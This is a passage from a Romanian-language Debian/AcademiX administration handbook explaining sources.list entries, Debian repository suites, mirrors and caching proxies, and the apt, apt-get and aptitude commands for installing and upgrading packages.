LZMA și XZ mai multe resurse (timp de calcul și memorie) pentru a comprima și a decomprima un fișier. Printre ele, și după
ordinea apariției, sunt bzip2 (generarea fișierelor cu extensia .bz2), lzma (generând fișiere .lzma) și xz
(generând fișiere .xz).

6.1. Completarea în fișierul sources.list

6.1.1. Sintaxă
Fiecare linie activă a fișierului /etc/apt/sources.list conține descrierea unei surse, formată din 3 părți
separate prin spații. Pentru o descriere completă a formatului de fișier și a compozițiilor de intrare acceptate,
consultați sources.list(5).

Exemplul 6.1 Formatul intrării în /etc/apt/sources.list

deb url distribution component1 component2 component3 [..] componentX

deb-src url distribution component1 component2 component3 [..] componentX

Primul câmp indică tipul sursei:

deb pentru pachete binare,
deb-src pentru pachetele sursă.
Al doilea câmp, oferă adresa URL-ul de bază a sursei (combinată cu numele de fișiere prezente în fișierele
Packages.gz, trebuie să dea o adresă URL completă și validă): aceasta poate consta într-o oglindă Debian
sau în orice altă arhivă de pachete creată de o terță parte. URL-ul poate începe cu file:// pentru a indica
o sursă locală instalată în ierarhia de fișiere a sistemului, cu http:// sau https:// pentru a indica o
sursă accesibilă de pe un web server sau cu ftp:// sau ftps:// pentru o sursă disponibilă pe un FTP
server. URL-ul poate începe și cu cdrom: pentru instalațiile bazate pe disc CD-ROM/DVD-ROM/Blu-ray, deși
acest lucru este mai puțin frecvent deoarece metodele de instalare bazate pe rețea sunt din ce în ce mai
frecvente.
Sintaxa ultimului câmp depinde de structura depozitului. În cele mai simple cazuri puteți indica pur și simplu
un subdirector (cu o linie de finalizare obligatorie) a sursei dorite (acesta este adesea un simplu “./” care se
referă la absența unui subdirector - pachetele sunt atunci direct la adresa URL specificată). Dar în cel mai
frecvent caz, depozitele vor fi structurate ca o oglindă Debian cu mai multe distribuții având fiecare
componente multiple. În aceste cazuri, denumiți distribuția aleasă (prin “numele său de cod” — consultați lista
din bara laterală “Bruce Perens, un lider controversat” pagina 26 — sau “suitele” corespunzătoare — oldstable,
testing, unstable) apoi componentele (sau secțiunile) de activat (alese între main, contrib, și non-
free într-o oglindă tipică Debian).

97
 VOCABULAR Debian folosește trei secțiuni pentru a diferenția pachetele în funcție de licențele alese de autorii fiecărei lucrări.
Arhivele main, contrib și Arhiva (principală) main adună toate pachetele care respectă pe deplin Orientările privind software-ul liber
non-free Debian (Debian Free Software Guidelines 8).
Arhiva (non-liberă) non-free este diferită, deoarece conține software care nu se conformează (în totalitate)
acestor principii, dar care poate fi totuși distribuit fără restricții. Această arhivă, care nu face parte oficial din
Debian, este un serviciu pentru utilizatorii care ar putea avea nevoie de unele dintre aceste programe — cu toate
acestea, Debian recomandă întotdeauna acordarea priorității software-ului liber. Existența acestei secțiuni
reprezintă o problemă considerabilă pentru Richard M. Stallman și împiedică Free Software Foundation să
recomande Debian utilizatorilor.
Arhiva (contribuții) contrib este un set de software open-source care nu poate funcționa fără unele elemente
care nu sunt libere. Aceste elemente pot fi software din secțiunea non-free sau fișiere non-free, cum ar fi
ROM-uri de jocuri, BIOS-urile consolelor, etc — sau unele elemente care nu sunt deloc disponibile din arhiva
Debian main. contrib include, de asemenea, software liber a cărui compilare necesită elemente proprietare.
Acesta a fost inițial cazul pentru suita de birou OpenOffice.org, care a necesitat un mediu Java proprietar.

SFAT Dacă se face referire la multe surse de pachete, poate fi util să le împărțiți în mai multe fișiere. Fiecare parte este
Fișiere în apoi stocată în /etc/apt/sources.list.d/ nume de fișier .list (a se vedea bara laterală “Directoare
/etc/apt/sources.list.d/*.list
care se termină în .d ” pagina 105).

Intrările cdrom descriu CD/DVD-ROM-urile pe care le aveți. Spre deosebire de alte intrări, un CD-ROM nu
este întotdeauna disponibil, din moment ce un singur disc trebuie introdus în unitate să poate fi citit. Din
aceste motive, aceste surse sunt gestionate într-un mod ușor diferit și trebuie adăugate cu programul apt-
cdrom, de obicei executat cu parametrul add. Acesta din urmă va solicita introducerea discului în unitate și
va răsfoi conținutul său căutând fișierele Packages. Acesta va utiliza aceste fișiere pentru a-și actualiza
baza de date a pachetelor disponibile (această operație se face de obicei prin comanda apt update). De
acum, APT poate solicita introducerea discului dacă are nevoie de unul dintre pachetele sale.

6.1.2. Depozite pentru utilizatorii versiunii stabile

Iată un fișier standard sources.list pentru un sistem care rulează AcademiX și versiunea Debian Stable:

Exemplul 6.2 Fișierul /etc/apt/sources.list pentru utilizatorii AcademiX/Debian Stable

# Security updates
deb http://security.debian.org/ buster/updates main contrib non-free
deb-src http://security.debian.org/ buster/updates main contrib non-free

## Debian mirror

# Base repository
deb https://deb.debian.org/debian buster main contrib non-free
deb-src https://deb.debian.org/debian buster main contrib non-free

# Stable updates
deb https://deb.debian.org/debian buster-updates main contrib non-free
deb-src https://deb.debian.org/debian buster-updates main contrib non-free

# Stable backports
deb https://deb.debian.org/debian buster-backports main contrib non-free
deb-src https://deb.debian.org/debian buster-backports main contrib non-free

Acest fișier listează toate sursele de pachete asociate cu versiunea Debian Stretch (actuala
Stable din această scriere). Am ales să denumim explicit “buster” în loc să folosim aliasul corespunzător
“stable” (stable, stable-updates, stable-backports) pentru că nu dorim ca baza distribuției să fie
schimbată în afara controlului nostru atunci când va apărea următoarea versiune stable.)
Majoritatea pachetelor vor proveni din “depozitul de bază” care conține toate pachetele, dar este arareori
actualizat (aproximativ o dată la 2 luni pentru un “moment de lansare”). Celelalte depozite sunt parțiale (nu
conțin toate pachetele) și pot găzdui actualizări (pachete cu versiune mai nouă) pe care APT le-ar putea
instala. Următoarele secțiuni vor explica scopul și regulile care guvernează fiecare dintre aceste depozite.
Rețineți că, atunci când versiunea dorită a unui pachet este disponibilă în mai multe depozite, va fi folosit
primul listat în fișierul sources.list. Din acest motiv, sursele neoficiale sunt de obicei adăugate la sfârșitul
fișierului.

8https://www.debian.org/social_contract.html#guidelines

98
Ca o notă laterală, cea mai mare parte a ceea ce spune această secțiune despre Stable se aplică la fel de
bine pentru Oldstable deoarece aceasta din urmă este doar o Stable mai veche, menținută în paralel.

6.1.2.1. Actualizări de securitate

Debian ia în serios securitatea. Vulnerabilitățile software cunoscute din Debian sunt urmărite în Security Bug
Tracker9, și, de obicei, se remediaază într-un interval de timp rezonabil. Actualizările de securitate nu sunt
găzduite în rețeaua, ci pe security.debian.org (pe un set mic de mașini întreținute de “Debian System
Administrators” pagina 33. Această arhivă conține actualizări de securitate (pregătite de echipa de securitate Debian
și/sau de către întreținătorii de pachete) pentru distribuția Stable și Oldstable.
Server-ul poate găzdui, de asemenea, actualizări de securitate pentru Testing, dar acest lucru nu se întâmplă
foarte des, deoarece aceste actualizări tind să ajungă la Testing prin fluxul regulat de actualizări provenind
din Unstable.
Pentru probleme grave, echipa de securitate emite un aviz de securitate Debian ( Debian Security
Advisory - DSA) și îl anunță împreună cu actualizarea de securitate din lista de distribuție (archive), debian-
security-announce@lists.debian.org.

6.1.2.2. Actualizări pentru Stable

Actualizările pentru Stable nu sunt sensibile la securitate, dar sunt considerate suficient de importante pentru
a fi înaintate către utilizatori înaintea următoarei versiuni Stable.
Acest depozit va conține, de obicei, corecții pentru erori critice care nu puteau fi remediate înainte de
lansare sau care au fost introduse prin actualizări ulterioare. În funcție de urgență, acesta poate conține, de
asemenea, actualizări pentru pachetele care trebuie să evolueze în timp... cum ar fi regulile spamassassin de
detectare a spam-ului, baza de date clamav a virusurilor sau regulile de timp pentru ora de vară a tuturor
zonelor orare (tzdata), versiunea ESR Firefox (firefox-esr), sau keyrings cryptographic precum debian-archive-
keyring.
În practică, acest depozit este un subset al depozitului de actualizări propuse (proposed-updates), selectat
cu atenție de către managerul versiunii Stable (vedeți bara laterală “Managerul versiunii” pagina 38. Toate
actualizările sunt anunțate pe lista de corespondență debian-stable-announce@lists.debian.org (archive), și
oricum vor fi incluse în următoarea versiune Stable.

deb https://deb.debian.org/debian buster-updates main contrib non-free

6.1.2.3. Actualizări propuse

Odată publicată, distribuția Stable este actualizată doar o dată la 2 luni. Depozitul proposed-updates este
locul în care sunt pregătite actualizările preconizate (sub supravegherea Managerilor de versiuni stable).
Actualizările de securitate și stable documentate în secțiunile anterioare sunt întotdeauna incluse în acest
depozit, dar există și mai multe, deoarece întreținătorii de pachete au și posibilitatea de a remedia erori
importante care nu merită o lansare imediată.
Oricine poate folosi acest depozit pentru a testa acele actualizări înainte de publicarea lor oficială. Extrasul
de mai jos folosește aliasul buster-proposed-updates. care este cu atât mai explicit și mai potrivit,
deoarece există și stretch-proposed-updates (pentru actualizări Oldstable):

deb http://ftp.debian.org/debian buster-proposed-updates main contrib non-free

6.1.2.4. Stable backports

Depozitul stable-backports găzduiește “package backports”. Termenul se referă la un pachet cu un
software recent care a fost recompilat pentru o distribuție mai veche, în general pentru versiunea Stable.
Când distribuția devine puțin învechită, numeroase proiecte software vor fi lansat între timp noi versiuni care
nu sunt integrate în actuala Stable (care este modificat doar pentru a rezolva cele mai critice probleme, cum
ar fi probleme de securitate). Deoarece distribuțiile Testing și Stable pot fi mai riscante, întreținătorii de

9https://security-tracker.debian.org/

99
pachete oferă uneori recompilări de aplicații software recente pentru Stable, care are avantajul de a limita
instabilitatea potențială la un număr mic de pachete alese. Mai multe informații sunt oferite pe pagina
➨ http://backports.debian.org
Backports, de la stable-backports, sunt întotdeauna create din pachetele disponibile în Testing. Acest
lucru asigură că toate backport -urile instalate vor fi actualizate la versiunea stabilă corespunzătoare, odată
ce următoarea versiune stabilă va fi disponibilă în Debian.
Chiar dacă acest depozit oferă versiuni mai noi ale pachetelor, APT nu le va instala dacă nu dați instrucțiuni
explicite în acest sens (sau dacă nu ați făcut-o deja, cu o versiune anterioară dată, backport):

$ sudo apt-get install package/buster-backports

$ sudo apt-get install -t buster-backports package

6.1.3. Depozite pentru utilizatorii ramurilor Testing/Unstable

Iată un fișier standard sources.list pentru un sistem care rulează versiunea Debian Testing sau Unstable:

Exemplul 6.2 Fișier /etc/apt/sources.list pentru utilizatorii de Debian Testing/Stable

# Unstable
deb https://deb.debian.org/debian unstable main contrib non-free
deb-src https://deb.debian.org/debian unstable main contrib non-free

# Testing
deb https://deb.debian.org/debian testing main contrib non-free
deb-src https://deb.debian.org/debian testing main contrib non-free

# Testing security updates

deb http://security.debian.org/ testing-security main contrib non-free
deb-src http://security.debian.org/ testing-security main contrib non-free

# Stable
deb https://deb.debian.org/debian stable main contrib non-free
deb-src https://deb.debian.org/debian stable main contrib non-free

# Stable security updates

deb http://security.debian.org/ stable/updates main contrib non-free
deb-src http://security.debian.org/ stable/updates main contrib non-free

REȚINEȚI Începând cu Debian 11 Bullseye, numele de cod al depozitului care furnizează actualizări de securitate a fost
Schema depozitelor de redenumit din nume de codname/updates în codename-security pentru a evita confuzia cu
securitate codname-updates (vedeți secțiunea 6.1.2.2. “Actualizări pentru Stable” pagina 99.

Cu acest fișier sources.list, APT va instala pachete din Unstable. Dacă acest lucru nu este dorit, utilizați
setarea APT::Default-Release (consultați secțiunea 6.2.3. “System upgrade” pagina 105) pentru a instrui APT
să selecteze pachetele dintr-o altă distribuție (cel mai probabil Testing în acest caz).
Există motive întemeiate pentru a include toate aceste depozite, chiar dacă unul singur ar trebui să fie
suficient. Utilizatorii versiunii Testing vor aprecia posibilitatea de a alege un pachet fix din Unstable atunci
când versiunea Testing este afectată de o eroare enervantă. Dimpotrivă, utilizatorii de Unstable iritați de
regresii neașteptate au posibilitatea de a retrograda (downgrade) pachetele (se presupune că funcționează) la
versiune Testing.
Includerea versiunii Stable este mai discutabilă, dar oferă deseori acces la unele pachete care au fost
eliminate din versiunile de dezvoltare. De asemenea, se asigură că veți primi cele mai recente actualizări
pentru pachetele care nu au fost modificate de la ultima versiune stable.

6.1.3.1. Depozitul Experimental

Arhiva pachetelor Experimental este prezentă pe toate oglinzile Debian și conține pachete care nu se află
încă în versiunea Unstable totuși din cauza calității inferioare — adesea sunt versiuni de dezvoltare software
sau pre-versiuni (alfa, beta, release candidate...). Un pachet poate fi de asemenea trimis ulterior, suferind
modificări ulterioare care pot genera probleme. Întreținătorul încearcă apoi să le descopere cu ajutorul
utilizatorilor avansați care se pot ocupa de probleme importante. După această primă etapă, pachetul este
mutat în Unstable unde atinge o audiență mult mai mare și unde va fi testat mult mai detaliat.

100
Experimental este în general utilizat de cei pe care nu-i deranjează să-și strice sistemul și apoi să-l repare.
Această distribuție oferă posibilitatea de a importa un pachet pe care un utilizator dorește să-l încerce sau să
îl folosească pe măsură ce apare o nevoie. Exact așa îl abordează Debian, deoarece adăugarea acestuia în
fișierul APT, sources.list, nu duce la utilizarea sistematică a pachetelor sale. Linia care trebuie adăugată
este:

deb http://ftp.debian.org/debian experimental main contrib non-free

6.1.4. Folosirea oglinzilor alternative

Exemplele sources.list din acest capitol se referă la depozitele de pachete găzduite pe deb.debian.org10.
Aceste adrese URL vă vor redirecționa către server-ele care vă sunt apropiate și care sunt gestionate de
rețelele de livrare a conținutului (Content Delivery Networks - CDN), al căror rol principal este de a stoca mai
multe copii ale fișierelor din întreaga lume pentru a le livra cât mai rapid utilizatorilor. Companiile CDN cu
care lucrează Debian sunt parteneri Debian care își oferă serviciile în mod liber lui Debian. În timp ce
niciunul dintre aceste server-e nu este sub control direct al Debian, faptul că întreaga arhivă este sigilată de
semnături GPG face ca aceasta să nu fie o problemă.
Utilizatorii selectivi care nu sunt mulțumiți de performanța deb.debian.org pot încerca să găsească o listă
mai bună în lista de oglinzi oficiale:
➨ https://www.debian.org/mirror/list
Dar când nu știți ce oglindă este cea mai potrivită pentru dvs., această listă nu prea are folos. Pentru dvs.
din fericire, Debian păstrează intrări DNS ale formatului ftp.country-code.debian.org (de exemplu,
ftp.us.debian.org pentru SUA, ftp.fr.debian.org pentru Franța, etc.), care acoperă multe țări și
care indică unul (sau mai multe) dintre cele mai bune oglinzi disponibile din țara respectivă.
Ca o alternativă la deb.debian.org, existau httpredir.debian.org. Acest serviciu ar identifica o
oglindă apropiată dvs. (printre lista oglinzilor oficiale, utilizând GeoIP în principal) și ar redirecționa cererile
APT către oglindă. Acest serviciu a fost depreciat din cauza problemelor de fiabilitate și acum
httpredir.debian.org oferă același serviciu bazat pe CDN ca deb.debian.org.
Dacă la instalarea sistemului AcademiX, nu ați reușit să stabiliți o oglindă, nu e grav, se întâmplă din diverse
motive. Unul este lipsa temporară a conexiunii la internet. Puteți remedia situația folosind pachetul netselect-
apt după ce l-ați instalat cu apt install netselect-apt, apoi executați în teminal, ca root,
netselect-apt; ; acesta va verifica toate server-ele și in cele din urma vă va oferi cele mai rapide 10
server-e. Vom găsi trei server-e românești: http://mirrors.nav.ro/debian/,
http://mirrors.xservers.ro/debian/, http://ftp.upcnet.ro/debian/ . Ni se va spune că
“Dintre gazdele testate, alegem cel mai rapid valabil pentru HTTP: http://mirrors.nav.ro/debian/”. În
anii din urmă, mai era un server românesc, rlug, care am înțeles ca nu era chiar bine întreținut. Cum ați putut
vedea în figura 2.14. “Selectarea unei oglinzi Debian” pagina 69, oglinda aleasă a fost, ftp.us.debian.org, de
SUA.

6.1.5. Resurse non-oficiale: mentors.debian.net

Există numeroase surse neoficiale de pachete Debian configurate de utilizatori avansați care au recompilat
unele programe software; Ubuntu a făcut acest lucru popular cu serviciul lor de arhive de pachete personale
(PPA- Personal Package Archive service), de către programatori care își pun creațiile lor la dispoziția tuturor și
chiar de către dezvoltatorii Debian care oferă pre-versiuni ale pachetului lor online.
Situl mentors.debian.net11 este interesant (deși oferă doar pachete sursă), deoarece adună pachete create de
candidați la statutul de dezvoltator oficial Debian sau de voluntari care doresc să creeze pachete Debian fără
a merge prin acel proces de integrare. Aceste pachete sunt disponibile fără nici o garanție cu privire la
calitatea lor; asigurați-vă că verificați originea și integritatea lor și apoi testați-le înainte de a lua în
considerare utilizarea acestora în producție.

10deb.debian.org
11mentors.debian.net

101
 COMUNITATE Domeniul debian.net nu este o resursă oficială a proiectului Debian. Fiecare dezvoltator Debian poate folosi acel
Siturile debian.net nume de domeniu pentru propria utilizare. Aceste situri web pot conține servicii neoficiale (uneori site-uri
personale) găzduite pe o mașină care nu aparține proiectului și configurate de dezvoltatorii Debian, sau chiar
prototipuri care urmează să fie mutate pe debian.org. Două motive pot explica de ce unele dintre aceste
prototipuri rămân pe debian.net: fie nimeni nu a făcut eforturile necesare pentru a-l transforma într-un serviciu
oficial (găzduit pe domeniul debian.org și cu o anumită garanție de întreținere), sau serviciul este prea
controversat pentru a fi oficializat.

Instalarea unui pachet înseamnă a da drepturi de root creatorului său, deoarece acesta decide asupra
conținutului scripturilor de inițializare care sunt rulate sub acea identitate. Pachetele oficiale Debian sunt
create de voluntari cooptați și examinați și care își pot sigila pachetele, astfel încât originea și integritatea lor
să poată fi verificate.
În general, aveți grijă la un pachet a cărui origine nu o cunoașteți și care nu este găzduit pe unul dintre
Debian server oficiale: evaluați gradul în care puteți avea încredere în creator și verificați integritatea
pachetului.

ÎN DETALIU Serviciul snapshot.debian.org12, introdus în aprilie 2010, poate fi folosit pentru a “merge înapoi în timp” și
Versiuni de pachete vechi: pentru a găsi o versiune veche a unui pachet. Poate fi folosit, de exemplu, pentru a identifica ce versiune a unui
snapshot.debian.org pachet a introdus o regresie și, mai concret, pentru a reveni la versiunea anterioară în așteptarea remedierii de
regresie.

6.1.6. Cache-area proxy pentru pachete Debian

Atunci când o întreagă rețea de mașini este configurată pentru a utiliza același server de la distanță pentru a
descărca aceleași pachete actualizate, orice administrator știe că ar fi benefic să existe un proxy intermediar
care să acționeze ca o memorie cache locală (a se vedea bara laterală “Cache” pagina 109).
Puteți configura APT pentru a utiliza un proxy "standard " (a se vedea secțiunea 6.2.4. “Opțiuni de configurare”
pagina 105 pentru partea APT și secțiunea 11.6. “HTTP/FTP proxy” pagina 239 pentru partea proxy), dar
ecosistemul Debian oferă opțiuni mai bune pentru a rezolva această problemă. Software-ul dedicat prezentat
în această secțiune este mai inteligent decât un proxy cache simplu, deoarece se poate baza pe structura
specifică a depozitelor APT (de exemplu, știu când fișierele individuale sunt învechite sau nu, și ajustează
astfel timpul în care sunt păstrate).
apt-cacher și apt-cacher-ng funcționează ca proxy cache server-e obișnuite. Fișierul APT, sources.list este
lăsat neschimbat, dar APT este configurat să le folosească ca proxy pentru ieșirea solicitărilor.
Pe de altă parte, approx acționează ca un HTTP server care “reflectă” orice număr de depozite la distanță în
adresele URL de nivel superior. Maparea între aceste directoare de nivel superior și adresele URL la
distanță ale depozitelor este stocată în /etc/approx/approx.conf:

# <name> <repository-base-url>
debian debianhttp://deb.debian.org/debian
security http://security.debian.org

Rulând implicit pe port 9999 prin soclul systemd, approx cere utilizatorilor să-și ajusteze fișierele
sources.list pentru a indica approx server:

# Sample sources.list pointing to a local approx server

deb http://localhost:9999/security buster/updates main contrib non-free
deb http://localhost:9999/debian buster main contrib non-free

6.2. Comenzile aptitude, apt-get și apt

APT este un proiect vast, ale cărui planuri originale includeau o interfață grafică. Se bazează pe o bibliotecă
care conține aplicația de bază, iar apt-get este primul front-end — bazat pe linia de comandă — care a fost
dezvoltat în cadrul proiectului. apt este o a doua versiune front-end bazată pe linia de comandă furnizată de
APT, care depășește unele greșeli de proiectare ale apt-get.
Ambele instrumente sunt construite în partea de sus a aceleiași biblioteci și sunt astfel foarte apropiate.
Comportamentul implicit apt a fost îmbunătățit pentru utilizare interactivă și pentru a face efectiv ceea ce
majoritatea utilizatorilor se așteaptă. Dezvoltatorii APT își rezervă dreptul de a schimba interfața publică a

12snapshot.debian.org

102
acestui instrument pentru a-l îmbunătăți în continuare. Dimpotrivă, interfața publică apt-get este bine
definită și nu se va schimba într-un mod incompatibil înapoi. Este astfel instrumentul pe care doriți să-l
utilizați atunci când trebuie să scrieți cererile de instalare a pachetului.
Mai multe alte interfețe grafice au apărut apoi ca proiecte externe: synaptic, aptitude (care include atât
o interfață în modul text, cât și una grafică — chiar dacă nu este completă încă), wajig etc. Interfața cea
mai recomandată, apt, este cea pe care o vom folosi în exemplele date în această secțiune. Rețineți însă că
apt-get și aptitude au o sintaxă a liniei de comandă foarte asemănătoare. Existând diferențe majore între
apt, apt-get și aptitude, aceste diferențe vor fi detaliate.

6.2.1. Inițializarea
Pentru orice lucrare cu APT, lista pachetelor disponibile trebuie actualizată; acest lucru se poate face doar
prin apt update. În funcție de viteza conexiunii, operația poate dura ceva deoarece presupune
descărcarea unui anumit număr de fișiere care au devenit treptat din ce în ce mai mari,
Packages/Sources/Translation-language-code, pe măsură ce Debian a dezvoltat (cel puțin 10 MB
de date pentru secțiunea principală). Desigur, instalarea dintr-un set CD-ROM nu necesită nicio descărcare
— în acest caz, operația este foarte rapidă.

SFAT Așa cum am explicat anterior, scopul comenzii apt update este să descărcați pentru fiecare sursă de pachet
Actualizarea incrementală fișierul Packages (sau Sources). Cu toate acestea, chiar și după o compresie xz, aceste fișiere pot rămâne
(progresivă) destul de mari (Packages.xz pentru secțiunea main din Buster necesită mai mult de 7 MB). Dacă doriți să
faceți upgrade în mod regulat, aceste descărcări pot dura mult timp.
Pentru a accelera procesul, APT poate descărca fișiere “diff” care conțin modificările de la actualizarea
anterioară, spre deosebire de întregul fișier. Pentru a realiza acest lucru, oglinzile oficiale Debian distribuie
diferite fișiere care listează diferențele dintre o versiune a fișierului Packages și următoarea versiune. Acestea
sunt generate la fiecare actualizare a arhivelor și se păstrează un istoric de o săptămână. Fiecare dintre aceste
fișiere ”diff” ia doar câteva zeci de kilobiți pentru Unstable, astfel încât cantitatea de date descărcate de un apt
update este adesea împărțit la 10. Pentru distribuții ca Stable și Testing care se schimbă mai puțin, câștigul este
și mai vizibil.
Cu toate acestea, uneori poate fi de interes să forțați descărcarea întregului fișier Pachete, mai ales când
ultima actualizare este foarte veche și când mecanismul diferențelor incrementale nu ar contribui mult. Acest
lucru poate fi interesant și atunci când accesul la rețea este foarte rapid, dar când procesorul mașinii pentru
actualizare este destul de lent, deoarece timpul economisit la descărcare este mai mult decât pierdut atunci când
computerul calculează noile versiuni ale acestor fișiere (începând cu versiunea mai veche versiuni și aplicarea
diferențelor descărcate). Pentru a face acest lucru, puteți utiliza parametrul de configurare Acquire::Pdiffs
și setați-l pe false.
$ sudo apt -o "Acquire::PDiffs=false" update
Opțiunile Acquire::* controlează și alte aspecte ale descărcării și chiar metodele de descărcare.
Acquire::Languages poate limita sau dezactiva descărcarea fișierelor Translation-language-code și economisi și
mai mult timp. Pentru o referință completă, consultați apt.conf(5).

6.2.2. Instalarea și eliminarea

Cu APT, pachetele pot fi adăugate sau eliminate din sistem, respectiv cu apt install package și apt
remove package. În ambele cazuri, APT va instala automat dependențele necesare sau va șterge
pachetele care depind de pachetul care este eliminat. Comanda apt purge package implică o
dezinstalare completă — fișierele de configurare sunt de asemenea șterse.

SFAT Poate fi util să instalați sistematic aceeași listă de pachete pe mai multe calculatoare. Acest lucru se poate face
Instalarea aceleiași selecții de destul de ușor.
pachete de mai multe ori Mai întâi, preluați lista de pachete instalate pe computer, care vor servi drept “model” de copiat.
$ dpkg --get-selections >pkg-list
Fișierul pkg-list conține apoi lista pachetelor instalate. Apoi, transferați fișierul pkg-list pe computerele
pe care doriți să le actualizați și utilizați următoarele comenzi:
## Update dpkg’s database of known packages
# avail=‘mktemp‘
# apt-cache dumpavail > ”$avail”
# dpkg --merge-avail ”$avail”
# rm -f ”$avail”
## Update dpkg’s selections
# dpkg --set-selections < pkg-list

103
 ## Ask apt-get to install the selected packages
# apt-get dselect-upgrade
Primele comenzi înregistrează lista de pachete disponibile în baza de date dpkg, apoi dpkg --set-
selections restabilește selecția de pachete pe care doriți să le instalați și invocarea apt-get execută
operațiunile necesare! aptitude nu are această comandă.

SFAT Este posibil să cereți apt (sau apt-get sau aptitude) să instaleze anumite pachete și să elimine altele pe
Eliminarea și instalarea în aceeași linie de comandă adăugând un sufix. Cu o comandă apt install, adăugați “-” la numele pachetelor
același timp pe care doriți să le eliminați. Cu o comandă apt remove, adăugați “+” la numele pachetelor pe care doriți să
le instalați.
Următorul exemplu arată două moduri diferite de a instala pachet1 și de a elimina pachet2.
# apt install package1 package2-

# apt remove package1+ package2

Aceasta poate fi de asemenea folosită pentru a exclude pachetele care altfel ar fi instalate, de exemplu, din cauza
Recommends. În general, decidentul dependenței va utiliza informațiile respective ca un indiciu pentru a căuta
soluții alternative.

SFAT Uneori sistemul poate fi deteriorat după eliminarea sau modificarea fișierelor dintr-un pachet. Cel mai simplu
apt --reinstall și mod de a recupera aceste fișiere este să reinstalați pachetul afectat. Din păcate, sistemul de împachetare constată
aptitude reinstall că acesta din urmă este deja instalat și refuză politicos să-l reinstaleze; pentru a evita acest lucru, utilizați
opțiunea --reinstall din comenzile apt și apt-get. Următoarea comandă reinstalează postfix chiar dacă
este deja prezentă:
# apt --reinstall install postfix
Linia de comandă aptitude este ușor diferită, dar obține același rezultat cu aptitude reinstall
postfix.
Problema nu apare cu dpkg, dar administratorul îl folosește rar în mod direct.
Aveți grijă! Utilizarea apt --reinstall pentru a restaura pachetele modificate în timpul unui atac, cu
siguranță nu va recupera sistemul așa cum a fost. Secțiunea 14.7. “Abordarea unei mașini compromise” pagina 331
detaliază pașii necesari de făcut cu un sistem compromis.
Aceste comenzi nu vor restabili fișierele de configurare. Dar așa cum ați aflat în secțiunea 5.2.3. “Checksums,
lista fișierelor de configurare” pagina 83 (consultați și bara laterală “Forțează dpkg să adreseze întrebări despre
fișierul de configurare” pagina 83), puteți utiliza următoarea comandă pentru a vi se cere să instalați versiunea
nemodificată și chiar restaurați și orice fișier de configurare șters.
# apt --reinstall -o Dpkg::Options::="--force-confask,
⮩ confmiss" install package
Unele pachete nu livrează fișierul de configurare găsit în /etc împreună cu pachetul. În schimb, îl creează în
timpul instalării, fie copiind un schelet, fie scriindu-l printr-un script. Fișierul /etc/inputrc, de exemplu,
este o copie a /usr/share/readline/inputrc. În astfel de cazuri, comenzile afișate mai sus nu vor
funcționa.

Dacă fișierul sources.list menționează mai multe distribuții, este posibil să dați versiunea pachetului de
instalat. Se poate solicita un număr de versiune specific cu apt install pachet=version, dar indicând
distribuția sa de origine (Stable, Testing sau Unstable) — cu apt install package/distribution — este
de obicei preferat. Cu această comandă, este posibil să reveniți la o versiune mai veche a unui pachet (dacă
de exemplu, știți că funcționează bine) cu condiția să fie încă disponibil într-una dintre sursele la care face
referire fișierul sources.list. În caz contrar, arhiva snapshot.debian.org poate veni în salvare (a se
vedea bara laterală “Versiuni de pachete vechi: snapshot.debian.org” pagina 102).

Exemplul 6.3 Instalarea versiunii Unstable a lui spamassassin

# apt install spamassassin/unstable

Dacă pachetul de instalat a fost pus la dispoziția dvs. sub forma unui fișier .deb simplu, fără niciun depozit
de pachete asociat, este încă posibil să utilizați APT pentru a-l instala împreună cu dependențele sale (cu
condiția ca dependențele să fie disponibile în configurat. depozite) cu o simplă comandă: apt install ./
path-to-the-package.deb. Este important acest ./ , ca să clarificăm faptul că ne referim la un nume de
fișier și nu la numele unui pachet disponibil într-unul din depozite.

ÎN DETALIU APT păstrează o copie a fiecărui fișier .deb descărcat în directorul /var/cache/apt/archives/. În
Cache-ul fișierelor .deb cazul actualizărilor frecvente, acest director poate ocupa rapid mult spațiu pe disc cu mai multe versiuni ale
fiecărui pachet; ar trebui să le sortați în mod regulat. Se pot utiliza două comenzi: apt-get clean golește
complet directorul;

104
 apt-get autoclean elimină doar pachetele care nu mai pot fi descărcate (pentru că au dispărut din oglinda
Debian) și prin urmare, sunt în mod clar inutile (parametrul de configurare APT::Clean-Installed poate preveni
eliminarea fișierelor .deb care sunt instalate în prezent). Rețineți că apt nu acceptă acele comenzi.

6.2.3. System upgrade

Sunt recomandate actualizări periodice de sistem, deoarece includ cele mai recente actualizări de
securitate. Pentru a face upgrade, utilizați apt upgrade, apt-get upgrade sau aptitude safe-
upgrade (bineînțeles după apt update). Această comandă caută pachete instalate care pot fi actualizate
fără a elimina niciun pachet. Cu alte cuvinte, obiectivul este de a asigura cea mai puțin intruzivă actualizare
posibilă. apt-get este puțin mai solicitant decât aptitude sau apt, deoarece va refuza să instaleze
pachete care nu au fost instalate în prealabil.
În general, apt va selecta cel mai recent număr de versiune (cu excepția pachetelor din Experimental și
stable-backports, care sunt ignorate în mod implicit, indiferent de numărul lor de versiune). Dacă ați specificat
Testing sau Unstable în fișierul vostru sources.list, apt upgrade va trece cea mai mare parte a
sistemului Stable la Testing sau Unstable, care s-ar putea să nu fie ceea ce intenționați.
Pentru a-i spune lui apt să utilizeze o distribuție specifică atunci când căutați pachete actualizate, trebuie să
utilizați opțiunea -t sau --target-release, urmată de numele distribuției pe care o doriți (de exemplu:
apt -t stable upgrade). Pentru a evita să specificați această opțiune de fiecare dată când utilizați apt,
puteți adăuga APT::Default-Release "stable"; în fișierul /etc/apt/apt.conf.d/local.
Pentru actualizări mai importante, cum ar fi trecerea de la o versiune principală Debian la alta, trebuie să
utilizați apt full-upgrade. Cu această instrucțiune, apt va finaliza actualizarea chiar dacă trebuie să
elimine unele pachete învechite sau să instaleze dependențe noi. Aceasta este și comanda folosită de
utilizatorii care lucrează zilnic cu versiunea Debian Unstable și urmează evoluția ei zi de zi. Este atât de
simplu, încât cu greu are nevoie de explicații: reputația APT se bazează pe această funcționalitate excelentă.
Spre deosebire de apt și aptitude, apt-get nu știe comanda full-upgrade (actualizare completă). În
schimb, ar trebui să utilizați apt-get dist-upgrade (“actualizarea distribuției”), comanda istorică și
binecunoscută pe care o acceptă apt și aptitude, de asemenea, pentru comoditatea utilizatorilor care s-
au obișnuit.
Rezultatele acestor operațiuni sunt conectate la /var/log/apt/history.log și
/var/log/apt/term.log, în timp ce dpkg își păstrează jurnalul într-un fișier numit
/var/log/dpkg.log.

6.2.4. Opțiuni de configurare

Pe lângă elementele de configurare menționate deja, este posibil să configurați anumite aspecte ale APT
